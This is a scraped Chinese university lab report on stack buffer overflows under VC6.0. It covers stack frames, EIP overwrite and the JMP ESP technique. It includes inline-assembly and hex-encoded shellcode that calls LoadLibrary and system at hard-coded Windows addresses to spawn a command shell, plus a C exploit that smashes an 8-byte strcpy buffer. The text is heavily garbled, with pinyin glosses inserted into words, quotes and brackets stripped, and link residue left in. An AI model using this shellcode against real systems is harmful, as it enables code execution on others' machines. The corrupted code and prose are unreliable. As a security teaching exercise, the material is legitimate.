緩沖區(qū)溢出(共16頁(yè))_第1頁(yè)
緩沖區(qū)溢出(共16頁(yè))_第2頁(yè)
緩沖區(qū)溢出(共16頁(yè))_第3頁(yè)
緩沖區(qū)溢出(共16頁(yè))_第4頁(yè)
緩沖區(qū)溢出(共16頁(yè))_第5頁(yè)
已閱讀5頁(yè),還剩13頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、一、專題目標(biāo)(mbio)/任務(wù)概述掌握緩沖區(qū)溢出的原理、緩沖區(qū)溢出漏洞的利用技巧,理解緩沖區(qū)溢出漏洞的防范措施;通過(guò)對(duì)一個(gè)包含緩沖區(qū)溢出的實(shí)例程序的分析來(lái)了解緩沖區(qū)溢出漏洞產(chǎn)生(chnshng)的基本原理和攻擊方法。二、實(shí)踐環(huán)境與工具(gngj)/平臺(tái)vc6.0三、專題所涉及的基本原理1、概念: HYPERLINK /view/266782.htm t _blank 緩沖區(qū)溢出是指當(dāng)計(jì)算機(jī)向緩沖區(qū)內(nèi)填充數(shù)據(jù)位數(shù)時(shí)超過(guò)了緩沖區(qū)本身的 HYPERLINK /view/334600.htm t _blank 容量,使得溢出的數(shù)據(jù)覆蓋在合法數(shù)據(jù)上。某些情況下,溢出的數(shù)據(jù)只是覆蓋在一些不太重要的內(nèi)存空間

2、上,不會(huì)產(chǎn)生嚴(yán)重后果;但是一旦溢出的額數(shù)據(jù)覆蓋在合法數(shù)據(jù)上則可能給系統(tǒng)帶來(lái)巨大的危害。2、原理:(1)進(jìn)程的劃分代碼段:存儲(chǔ)著執(zhí)行程序的二進(jìn)制機(jī)器代碼,計(jì)算機(jī)會(huì)到這個(gè)區(qū)域取指令并執(zhí)行。數(shù)據(jù)段:用于存儲(chǔ)全局變量、靜態(tài)變量等數(shù)據(jù)。堆區(qū):進(jìn)程可以在通過(guò)malloc等函數(shù)動(dòng)態(tài)地在堆區(qū)申請(qǐng)一定大小的內(nèi)存,并在用完之后釋放內(nèi)存。堆棧區(qū):用于動(dòng)態(tài)地存儲(chǔ)函數(shù)之間的調(diào)用關(guān)系,以保證被調(diào)用的函數(shù)在返回時(shí)恢復(fù)到主函數(shù)中繼續(xù)執(zhí)行。函數(shù)調(diào)用時(shí)的參數(shù)和局部變量都保存在堆棧中。由系統(tǒng)自動(dòng)分配。例如,在函數(shù)中聲明一個(gè)局部變量int b;系統(tǒng)自動(dòng)在棧中為b開(kāi)辟空間。注意:在Intel x86機(jī)器上的堆棧被認(rèn)為是反向的,即堆棧是

3、由高端地址向下增長(zhǎng)的。即當(dāng)一個(gè)信息被壓棧時(shí),ESP減少,新元素被寫入目標(biāo)地址,當(dāng)一個(gè)信息被彈出時(shí),則從ESP指針?biāo)赶虻牡刂分凶x出一個(gè)元素,ESP增加,向上邊界移動(dòng)并壓縮堆棧。Windows下程序在內(nèi)存中的結(jié)構(gòu)如圖1.未初始化靜態(tài)數(shù)據(jù)初始化靜態(tài)數(shù)據(jù)代碼段堆堆棧堆增長(zhǎng)方向棧增長(zhǎng)方向高端內(nèi)存低端內(nèi)存圖1:Windows下程序在內(nèi)存(ni cn)中的結(jié)構(gòu)(2)函數(shù)調(diào)用過(guò)程(guchng)堆棧(簡(jiǎn)稱棧)是一種先進(jìn)后出的數(shù)據(jù)表結(jié)構(gòu)。棧有兩種常用操作:壓棧和出棧。棧有兩個(gè)重要屬性:棧頂和棧底。內(nèi)存(ni cn)的棧區(qū)實(shí)際上指的是系統(tǒng)棧。系統(tǒng)棧由系統(tǒng)自動(dòng)維護(hù),用于實(shí)現(xiàn)高級(jí)語(yǔ)言的函數(shù)調(diào)用。每個(gè)函數(shù)在被調(diào)用時(shí)都

4、有屬于自己的棧幀空間。當(dāng)函數(shù)被調(diào)用時(shí),系統(tǒng)會(huì)為這個(gè)函數(shù)開(kāi)辟一個(gè)新的棧幀,并把它壓入棧中,所以正在運(yùn)行的函數(shù)總是在系統(tǒng)棧的棧頂。當(dāng)函數(shù)返回時(shí),系統(tǒng)棧會(huì)彈出該函數(shù)所對(duì)應(yīng)的棧幀空間。win32系統(tǒng)提供了兩個(gè)特殊的寄存器來(lái)標(biāo)識(shí)系統(tǒng)棧最頂端的棧幀。ESP:擴(kuò)展堆棧指針。該寄存器存放一個(gè)指針,它指向系統(tǒng)棧最頂端那個(gè)函數(shù)棧幀的棧頂。EBP:擴(kuò)展基指針。該寄存器存放一個(gè)指針,它指向系統(tǒng)棧最頂端那個(gè)函數(shù)棧幀的棧底。另外,EIP寄存器(擴(kuò)展指令指針)對(duì)于堆棧的操作非常重要,EIP包含將要被執(zhí)行的嚇一跳指令的地址。函數(shù)棧幀:ESP和EBP之間的空間為當(dāng)前棧幀,每一個(gè)函數(shù)都有屬于自己的ESP和EBP指針。ESP表示了

5、當(dāng)前棧幀的棧頂,EBP標(biāo)識(shí)了當(dāng)前棧的棧底。在一個(gè)函數(shù)棧幀中,一般包括以下重要的信息:局部變量:系統(tǒng)會(huì)在該函數(shù)棧幀上為該函數(shù)運(yùn)行時(shí)的局部變量分配相應(yīng)的內(nèi)存空間。函數(shù)返回地址:存放了本函數(shù)執(zhí)行完后應(yīng)該返回到調(diào)用本函數(shù)的主函數(shù)中繼續(xù)執(zhí)行的指令的位置。在win32操作系統(tǒng)中,當(dāng)程序里出現(xiàn)函數(shù)調(diào)用時(shí),系統(tǒng)會(huì)自動(dòng)為這次函數(shù)調(diào)用分配一個(gè)堆棧。函數(shù)的調(diào)用大概包括下面幾個(gè)步驟:參數(shù)(cnsh)入棧:一般是將被調(diào)函數(shù)的參數(shù)從右到左一次壓入系統(tǒng)棧(即調(diào)用該函數(shù)的主函數(shù)的函數(shù)棧幀)中。返回地址入棧:把當(dāng)前EIP的值(當(dāng)前代碼(di m)區(qū)正在執(zhí)行指令的下一條指令的地址)壓入棧中,作為返回地址。代碼(di m)區(qū)跳轉(zhuǎn):

6、將EIP指向被調(diào)用函數(shù)的入口處。棧幀調(diào)整:主要是用來(lái)保持堆棧平衡,這個(gè)過(guò)程可以由被調(diào)用函數(shù)執(zhí)行,也可以由主函數(shù)制造型,具體由編譯器決定。首先是將EBP壓入棧中(用于調(diào)用返回時(shí)回復(fù)原堆棧),并把主函數(shù)的ESP的值送入寄存器EBP中,作為新的基址(新棧幀的EBP實(shí)際上保存的是主函數(shù)的ESP),最后,為本地變量留出空間,把ESP減去適當(dāng)?shù)闹担▋?nèi)存分配時(shí)以字為單位的)。函數(shù)調(diào)用結(jié)束后的返回過(guò)程如下:保存返回值:通常將函數(shù)的返回值保存在寄存器 EAX 中。彈出當(dāng)前棧幀,恢復(fù)上一個(gè)棧幀。a) 在堆棧平衡的基礎(chǔ)上,給 ESP 加上棧幀的大小,降低棧頂,回收當(dāng)前棧幀空間。b) 將當(dāng)前棧幀底部的 EBP 的值(

7、 母函數(shù)的棧底地址)彈入 EBP 寄存器,使得 EBP 指向母函數(shù)的棧底。c) 將函數(shù)返回地址彈入 EIP 寄存器。跳轉(zhuǎn)到新的 EIP 處執(zhí)行指令(已經(jīng)返回到了主函數(shù)) 。通過(guò)往程序的 HYPERLINK /view/266782.htm t _blank 緩沖區(qū)寫超出其長(zhǎng)度的內(nèi)容,造成緩沖區(qū)的溢出,從而破壞程序的 HYPERLINK /view/93201.htm t _blank 堆棧,造成程序崩潰或使程序轉(zhuǎn)而執(zhí)行其它指令,以達(dá)到攻擊的目的。造成 HYPERLINK /view/266782.htm t _blank 緩沖區(qū)溢出的原因是程序中沒(méi)有仔細(xì)檢查用戶輸入的參數(shù)。容易引起緩沖區(qū)溢出的

8、函數(shù):strcat(), HYPERLINK /view/1295144.htm t _blank sprintf(),vsprintf(),gets(),scanf()隨便往 HYPERLINK /view/266782.htm t _blank 緩沖區(qū)中填東西造成它溢出一般只會(huì)出現(xiàn)“分段錯(cuò)誤”(Segmentation fault),而不能達(dá)到攻擊的目的。最常見(jiàn)的手段是通過(guò)制造 HYPERLINK /view/266782.htm t _blank 緩沖區(qū)溢出使程序運(yùn)行一個(gè)用戶shell,再通過(guò)shell執(zhí)行其它命令。如果該程序有root或者suid執(zhí)行權(quán)限的話,攻擊者就獲得了一個(gè)有 HY

9、PERLINK /view/3967294.htm t _blank root權(quán)限的shell,可以對(duì)系統(tǒng)進(jìn)行任意操作了。3、漏洞:緩沖區(qū)溢出攻擊的目的在于擾亂具有某些特權(quán)運(yùn)行的程序的功能,這樣可以使得攻擊者取得程序的控制權(quán),如果該程序具有足夠的權(quán)限,那么整個(gè)主機(jī)就被控制了。一般而言,攻擊者攻擊root程序,然后執(zhí)行類似“exec(sh)”的執(zhí)行代碼來(lái)獲得 HYPERLINK /view/3967294.htm t _blank root權(quán)限的shell。為了達(dá)到這個(gè)目的,攻擊者必須達(dá)到如下的兩個(gè)目標(biāo):1)在程序(chngx)的 HYPERLINK /view/1507129.htm t _b

10、lank 地址(dzh)空間里安排適當(dāng)(shdng)的代碼。2)通過(guò)適當(dāng)?shù)某跏蓟?HYPERLINK /view/6159.htm t _blank 寄存器和內(nèi)存,讓程序跳轉(zhuǎn)到入侵者安排的 HYPERLINK /view/1507129.htm t _blank 地址空間執(zhí)行。可以根據(jù)這兩個(gè)目標(biāo)來(lái)對(duì) HYPERLINK /view/700134.htm t _blank 緩沖區(qū)溢出攻擊進(jìn)行分類。四、專題設(shè)計(jì)/實(shí)踐1、緩沖區(qū)溢出分析:(1)課堂實(shí)例:正常情況如圖2.圖2:程序正常運(yùn)行結(jié)果緩沖區(qū)溢出運(yùn)行情況如圖3.圖3:緩沖區(qū)溢出導(dǎo)致程序異常退出利用溢出實(shí)現(xiàn)攻擊如圖4.圖4:利用溢出實(shí)現(xiàn)(shxi

11、n)攻擊(2)課后練習(xí)例子(l zi)及分析正常(zhngchng)情況如圖5.圖5:程序正常運(yùn)行結(jié)果緩沖區(qū)溢出運(yùn)行情況如圖6.圖6:緩沖區(qū)溢出導(dǎo)致(dozh)程序異常退出分析堆棧(duzhn)情況如圖7.正常運(yùn)行時(shí)堆棧情況(qngkung): 緩沖區(qū)溢出時(shí)堆棧情況:nahznilgEBP原EIPnahznilgnahznilg圖7:堆棧情況分析分步執(zhí)行程序情況如圖8圖8:分步執(zhí)行程序情況(qngkung)具體情況如圖9圖9:具體情況 分析:程序里定義了一個(gè)8個(gè)字節(jié)的緩沖區(qū)buffer8,使用函數(shù)strcpy來(lái)將數(shù)組name的內(nèi)容拷貝到該緩沖區(qū)中,由于name數(shù)據(jù)的長(zhǎng)度超過(guò)了8個(gè)字節(jié),根據(jù)緩沖

12、區(qū)溢出形成的原理,name里的數(shù)據(jù)一次覆蓋了EBP和返回地址(兩個(gè)都是32位的,占用4個(gè)字節(jié)),使得strcpy函數(shù)返回后的EIP指向0 x6E696C67這個(gè)非法地址,所以程序會(huì)出現(xiàn)異常而退出。如果能夠把EIP修改(xigi)指向我們的代碼的話,我們就可以接管程序的控制權(quán),從而做任何事情。2、shellcode的概念(ginin):Shellcode可以通俗地理解為程序執(zhí)行指令(也就是匯編指令)對(duì)應(yīng)的機(jī)器碼。Windows 是通過(guò)動(dòng)態(tài)鏈接庫(kù)來(lái)提供(tgng)系統(tǒng)函數(shù),就是所謂的Dll。例如(lr):#includeint main()LoadLibrary(msvcrt.dll);syste

13、m();return 0;調(diào)用(dioyng)dos窗口結(jié)果如圖10圖10:dos窗口調(diào)用System函數(shù)由msvcrt.dll提供,所以要想執(zhí)行system,必須首先使用LoadLibrary(“msvcrt.dll”);裝載動(dòng)態(tài)鏈接庫(kù)msvcrt.dll,之后才能調(diào)用system函數(shù)。在VC6.0中,在調(diào)試狀態(tài)下,右鍵選擇“Go to disassemly”顯示對(duì)應(yīng)的匯編代碼,在點(diǎn)右鍵選擇“code bytes”,顯示匯編指令對(duì)應(yīng)的字節(jié)碼。如圖11。圖11:匯編指令(zhlng)對(duì)應(yīng)字節(jié)碼上面的shellcode其實(shí)是不通用(tngyng)的,因?yàn)樵谡{(diào)用system(“”)函數(shù)(hnsh)

14、時(shí),字符串“”其實(shí)是一個(gè)臨時(shí)局部變量,它在內(nèi)存中的地址是由編譯器臨時(shí)分配的,不具有通用性(其實(shí),變量在編譯器進(jìn)行處理后,都是由地址來(lái)代替并進(jìn)行引用的),所以這段shellcode在另外一個(gè)程序中引用本程序中的這個(gè)地址,引用的很可能并不是字符串“”。所以我們需要在棧上自己構(gòu)造這個(gè)字符串并計(jì)算這個(gè)字符的地址來(lái)進(jìn)行引用。同樣,將LoadLibrary(“msvcrt.dll”)也改成匯編。程序如下:#includevoid main()_asm/首先要LoadLibrary(msvcrt.dll);push ebpmov ebp,espxor eax,eaxpush eaxpush eaxpush

15、eaxmov byte ptrebp-0Ch,4Dh; mov byte ptrebp-0Bh,53h; mov byte ptrebp-0Ah,56h; mov byte ptrebp-09h,43h; mov byte ptrebp-08h,52h; mov byte ptrebp-07h,54h; mov byte ptrebp-06h,2Eh; mov byte ptrebp-05h,44h; mov byte ptrebp-04h,4Ch; mov byte ptrebp-03h,4Ch; lea eax,ebp-0Chpush eax;mov edx,0 x77e69f64 ;/L

16、oadLibrary sp3call edx;push ebp;mov ebp, esp;sub esp, 0 xC;mov eax, 0 x6D6D6F63;mov dword ptr ebp-0 x0C, eax;mov eax, 0 x2E646E61;mov dword ptr ebp-0 x8, eax;mov eax, 0 x226D6F63;mov dword ptr ebp-0 x4, eax;xor edx, edx;mov byte ptr ebp-0 x1, dl;lea eax, dword ptr ebp-0 xC;push eax;mov eax, 0 x7801A

17、FC3 ;/system sp3 地址(dzh)call eax;mov esp,ebp ;push ebp ;mov ebp,esp ; /把當(dāng)前(dngqin)esp 賦給ebpxor edi,edi ;push edi ; /壓入0,esp4; 作用(zuyng)是構(gòu)造字符串的結(jié)尾0 字符。sub esp,08h ; mov byte ptr ebp-0ch,63h ; mov byte ptr ebp-0bh,6fh ; mov byte ptr ebp-0ah,6dh ; mov byte ptr ebp-09h,6Dh ; mov byte ptr ebp-08h,61h ; mo

18、v byte ptr ebp-07h,6eh ; mov byte ptr ebp-06h,64h ; mov byte ptr ebp-05h,2Eh ; mov byte ptr ebp-04h,63h ; mov byte ptr ebp-03h,6fh ; mov byte ptr ebp-02h,6dh ; /一個(gè)一個(gè)生成串.lea eax,ebp-0ch ;push eax ; /串地址作為參數(shù)入棧mov eax, 0 x7801AFC3 ; exit(0);獲取(huq)的匯編對(duì)應(yīng)的機(jī)器碼如圖11-1,11-2:圖11-1 LoadLibrary(“msvcrt.dll”)獲得的

19、匯編(hubin)指令圖11-2 LoadLibrary(“msvcrt.dll”)獲得(hud)的匯編指令這樣,我們就可以通過(guò)修改name數(shù)組13到16這四個(gè)字節(jié)的內(nèi)容來(lái)控制程序的EIP。如果我們?cè)谀敲磾?shù)組的內(nèi)容加入可以執(zhí)行一定功能的shellcode的話,我們就可以通過(guò)某種方式控制EIP指向我們的shellcode,從而執(zhí)行shellcode。在現(xiàn)有計(jì)算機(jī)體系結(jié)構(gòu)中,代碼和數(shù)據(jù)都存放在內(nèi)存中,而且不對(duì)這二者進(jìn)行區(qū)分,也就是說(shuō),即使EIP指向的是數(shù)據(jù)而不是代碼,計(jì)算機(jī)也會(huì)將數(shù)據(jù)作為指令來(lái)執(zhí)行。我們的shellcode是通過(guò)name數(shù)組存放的,最終覆蓋了堆棧上的數(shù)據(jù)。堆棧也是程序的內(nèi)存區(qū)域,所

20、以只要EIP指向我們的shellcode,我們的shellcode具可以得到執(zhí)行。3、shellcode的定位對(duì)于堆棧的緩沖區(qū)溢出攻擊有兩種方式:覆蓋(fgi)函數(shù)返回地址的攻擊方式JMP ESP;覆蓋(fgi)方法和覆蓋異常處理程序地址的攻擊方式SHE覆蓋(fgi)方法。JMP ESP的覆蓋方法:Windows的系統(tǒng)核心dll包括Kernel32.dll、user32.dll、gdi32.dll.這些dll一直位于內(nèi)存中,而且對(duì)應(yīng)于固定的版本,windows加載的位置是固定的。在windows下可以利用系統(tǒng)核心dll里的指令來(lái)完成跳轉(zhuǎn)。我們用系統(tǒng)核心dll中的JMP ESP地址來(lái)覆蓋返回地址

21、,而把shellcode緊跟在后面,這樣就可以跳轉(zhuǎn)到我們的shellcode中。其利用格式是NNNNNNRSSSSSS。N=Nop,S=Shellcode,R=jmp esp的地址。覆蓋后的緩沖區(qū)如圖12,N表示NOP,保存院EIP的地方覆蓋成了JMP ESP的地址,接下去的S0、S1等表示ShellCode開(kāi)始的0字節(jié)、1字節(jié)等。NNJMP ESP地址S0S1S2原EIP圖12:程序發(fā)生溢出后堆棧的分布函數(shù)執(zhí)行完畢,要返回時(shí)堆棧指針ESP會(huì)指向保存原EIP(正常返回時(shí)EIP)的地方,而指令指針EIP指向Ret指令,如圖13.NNJMP ESP地址S0S1S2原EIPEspEIPRETPOPE

22、BP 圖13:程序返回(fnhu)之前的ESP指向上圖中的RET相當(dāng)于POP EIP,就是把棧頂指針ESP指向的值彈出來(lái)給EIP。所以在正常情況下,RET執(zhí)行后,就可以把原來(lái)的EIP恢復(fù),從而回到中斷前的流程。但是,保存的EIP已經(jīng)被我們覆蓋(fgi)成JMP ESP指令的地址了。這樣執(zhí)行POP EIP后,EIP會(huì)被改為JMP ESP的地址,即指向JMP ESP。而堆棧指針ESP往下移一位(POP出棧操作導(dǎo)致ESP下移),指向ShellCode的第一個(gè)字節(jié)。如圖14。NNJMP ESP地址S0S1S2原EIPEspEIPJMP ESP圖14:程序(chngx)返回之后的ESP指向4、Shell

23、Code的運(yùn)行(ynxng)(1)代碼(di m):#include string.h#include stdio.h#includechar name=x41x41x41x41x41x41x41x41x41x41x41x41 /覆蓋(fgi)ebpx12x45xfax7f /覆蓋(fgi)eip, jmp esp 地址7ffa4512x55x8bxecx33xc0 x50 x50 x50 xc6x45xf4x6dxc6x45xf5x73xc6x45xf6x76xc6x45xf7x63xc6x45xf8x72xc6x45xf9x74xc6x45xfax2exc6x45xfbx64xc6x45x

24、fcx6cxc6x45xfdx6cx8dx45xf4x50 xb8x77x1dx80 x7c / LoadLibrary 的地址(dzh)xffxd0 x55x8bxecx33xffx57x57x57xc6x45xf4x73xc6x45xf5x74xc6x45xf6x61xc6x45xf7x72xc6x45xf8x74xc6x45xf9x20 xc6x45xfax63xc6x45xfbx6dxc6x45xfcx64x8dx7dxf4x57xbaxc7x93xbfx77 / System 的地址xffxd2;int main()char output8;strcpy(output, name);for(int i=0;i8&outputi;i+)printf(0 x%x,outputi);printf(n);return 0;(2)代碼功能:LibHandle=LoadLibrary(“msvcrt.dll”)ProcAdd=(MYPROC)GetProcAddress(LibHandle

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論